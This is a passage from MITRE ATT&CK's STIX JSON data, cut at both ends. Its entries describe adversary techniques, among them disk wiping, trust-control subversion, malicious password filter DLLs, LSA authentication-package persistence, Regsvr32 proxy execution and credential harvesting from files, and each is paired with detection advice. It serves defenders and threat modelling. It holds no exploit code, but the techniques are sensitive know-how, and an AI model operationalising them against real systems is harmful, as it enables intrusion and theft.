Content Wipe","description":"Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Novetta Blockbuster Destructive Malware)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for unusual kernel driver installation activity.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_impact_type":["Availability"],"x_mitre_permissions_required":["User","Administrator","root","SYSTEM"],"x_mitre_is_subtechnique":false},{"modified":"2024-03-01T17:17:37.292Z","name":"Subvert Trust Controls","description":"Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_deprecated":false,"x_mitre_detection":"Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \"Hide Microsoft Entries\" and \"Hide Windows Entries\" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017) \n\nMonitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_version":"1.2","x_mitre_data_sources":["Module: Module Load","Windows Registry: Windows Registry Key Creation","File: File Metadata","Command: Command Execution","Process: Process Creation","File: File Modification","Windows Registry: Windows Registry Key Modification"],"x_mitre_defense_bypassed":["Anti-virus","Autoruns Analysis","Digital Certificate Validation","User Mode Signature Validation","Windows User Account Control","Application Control"],"type":"attack-pattern","id":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","created":"2020-02-05T14:54:07.588Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1553","external_id":"T1553"},{"source_name":"SpectorOps Code Signing Dec 2017","description":"Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.","url":"https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"},{"source_name":"SpectorOps Subverting Trust Sept 2017","description":"Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.","url":"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"},{"source_name":"Securelist Digital Certificates","description":"Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.","url":"https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"},{"source_name":"Symantec Digital Certificates","description":"Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.","url":"http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-19T16:35:18.492Z","name":"Elevated Execution with Prompt","description":"Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.","x_mitre_platforms":["macOS"],"x_mitre_is_subtechnique":true,"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Jimmy Astle, @AstleJimmy, Carbon Black","Erika Noerenberg, @gutterchurl, Carbon Black"],"x_mitre_data_sources":["Process: Process Creation","Process: OS API Execution"],"x_mitre_permissions_required":["Administrator","User"],"x_mitre_effective_permissions":["root"],"type":"attack-pattern","id":"attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0","created":"2020-01-30T14:40:20.187Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1548/004","external_id":"T1548.004"},{"source_name":"AppleDocs AuthorizationExecuteWithPrivileges","description":"Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019.","url":"https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg"},{"source_name":"Carbon Black Shlayer Feb 2019","description":"Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.","url":"https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html"},{"source_name":"Death by 1000 installers; it's all broken!","description":"Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019.","url":"https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8"},{"source_name":"OSX Coldroot RAT","description":"Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019.","url":"https://objective-see.com/blog/blog_0x2A.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d","type":"attack-pattern","created":"2020-10-02T16:46:42.537Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1592.003","url":"https://attack.mitre.org/techniques/T1592/003"},{"source_name":"ArsTechnica Intel","url":"https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/","description":"Goodin, D. & Salter, J. (2020, August 6). More than 20GB of Intel source code and proprietary data dumped online. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:22:46.759Z","name":"Firmware","description":"Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-16T12:29:47.903Z","name":"Encrypted Channel","description":"Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_deprecated":false,"x_mitre_detection":"SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.1","x_mitre_data_sources":["Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","created":"2020-03-16T15:33:01.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1573","external_id":"T1573"},{"source_name":"SANS Decrypting SSL","description":"Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.","url":"http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840"},{"source_name":"SEI SSL Inspection Risks","description":"Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.","url":"https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Vincent Le Toux"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1174","url":"https://attack.mitre.org/techniques/T1174"},{"url":"http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html","description":"Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.","source_name":"Carnal Ownage Password Filters Sept 2013"},{"url":"https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/","description":"Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.","source_name":"Clymb3r Function Hook Passwords Sept 2013"}],"modified":"2020-02-11T19:06:18.818Z","name":"Password Filter DLL","description":"Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor for change notifications to and from unfamiliar password filters.\n\nNewly installed password filters will not take effect until after a system reboot.\n\nPassword filters will show up as an autorun and loaded DLL in lsass.exe. (Citation: Clymb3r Function Hook Passwords Sept 2013)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec","created":"2020-01-24T14:54:42.757Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1547.002","url":"https://attack.mitre.org/techniques/T1547/002"},{"source_name":"Graeber 2014","url":"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html","description":"Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017."},{"source_name":"Microsoft Configure LSA","url":"https://technet.microsoft.com/en-us/library/dn408187.aspx","description":"Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015."},{"source_name":"MSDN Authentication Packages","url":"https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx","description":"Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.","modified":"2022-04-20T16:29:36.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Authentication Package","x_mitre_detection":"Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","Windows Registry: Windows Registry Key Modification","Module: Module Load"],"x_mitre_permissions_required":["Administrator"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-21T12:24:56.148Z","name":"Regsvr32","description":"Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Casey Smith"],"x_mitre_deprecated":false,"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"2.1","x_mitre_data_sources":["Module: Module Load","Command: Command Execution","Network Traffic: Network Connection Creation","Process: Process Creation"],"x_mitre_defense_bypassed":["Digital Certificate Validation","Anti-virus","Application control"],"type":"attack-pattern","id":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","created":"2020-01-23T19:52:17.414Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1218/010","external_id":"T1218.010"},{"source_name":"FireEye Regsvr32 Targeting Mongolian Gov","description":"Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html"},{"source_name":"LOLBAS Regsvr32","description":"LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.","url":"https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/"},{"source_name":"Microsoft Regsvr32","description":"Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.","url":"https://support.microsoft.com/en-us/kb/249873"},{"source_name":"Carbon Black Squiblydoo Apr 2016","description":"Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo” Continues Trend of Attackers Using Native OS Tools to “Live off the Land”. Retrieved April 9, 2018.","url":"https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4","type":"attack-pattern","created":"2017-05-31T21:30:19.338Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1002","url":"https://attack.mitre.org/techniques/T1002"},{"url":"https://en.wikipedia.org/wiki/List_of_file_signatures","description":"Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.","source_name":"Wikipedia File Header Signatures"}],"modified":"2020-03-30T03:09:45.384Z","name":"Data Compressed","description":"An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.\n\nIf the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_is_subtechnique":false},{"modified":"2023-05-04T18:00:33.023Z","name":"Exfiltration to Text Storage Sites","description":"Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as pastebin[.]com, are commonly used by developers to share code and other information. \n\nText storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)\n\n**Note:** This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlight access to code repositories via APIs.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_contributors":["Harun Küßner"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"type":"attack-pattern","id":"attack-pattern--ba04e672-da86-4e69-aa15-0eca5db25f43","created":"2023-02-27T22:51:27.101Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1567/003","external_id":"T1567.003"},{"source_name":"Pastebin EchoSec","description":"Ciarniello, A. (2019, September 24). What is Pastebin and Why Do Hackers Love It?. Retrieved April 11, 2023.","url":"https://web.archive.org/web/20201107203304/https://www.echosec.net/blog/what-is-pastebin-and-why-do-hackers-love-it"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","IaaS","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Microsoft Threat Intelligence Center (MSTIC)"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c","type":"attack-pattern","created":"2017-05-31T21:31:02.188Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1081","url":"https://attack.mitre.org/techniques/T1081"},{"external_id":"CAPEC-639","source_name":"capec","url":"https://capec.mitre.org/data/definitions/639.html"},{"url":"http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html","description":"CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.","source_name":"CG 2014"},{"url":"http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx","description":"Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.","source_name":"SRD GPP"},{"source_name":"Specter Ops - Cloud Credential Storage","url":"https://posts.specterops.io/head-in-the-clouds-bd038bb69e48","description":"Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019."}],"modified":"2021-03-08T10:33:00.910Z","name":"Credentials in Files","description":"Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)\n\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User","Administrator","SYSTEM"],"x_mitre_system_requirements":["Access to files"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884","type":"attack-pattern","created":"2020-10-02T16:42:17.482Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1592.002","url":"https://attack.mitre.org/techniques/T1592/002"},{"source_name":"ATT ScanBox","url":"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks","description":"Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."},{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}],"modified":"2021-10-17T16:33:19.596Z","name":"Software","description":"Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open 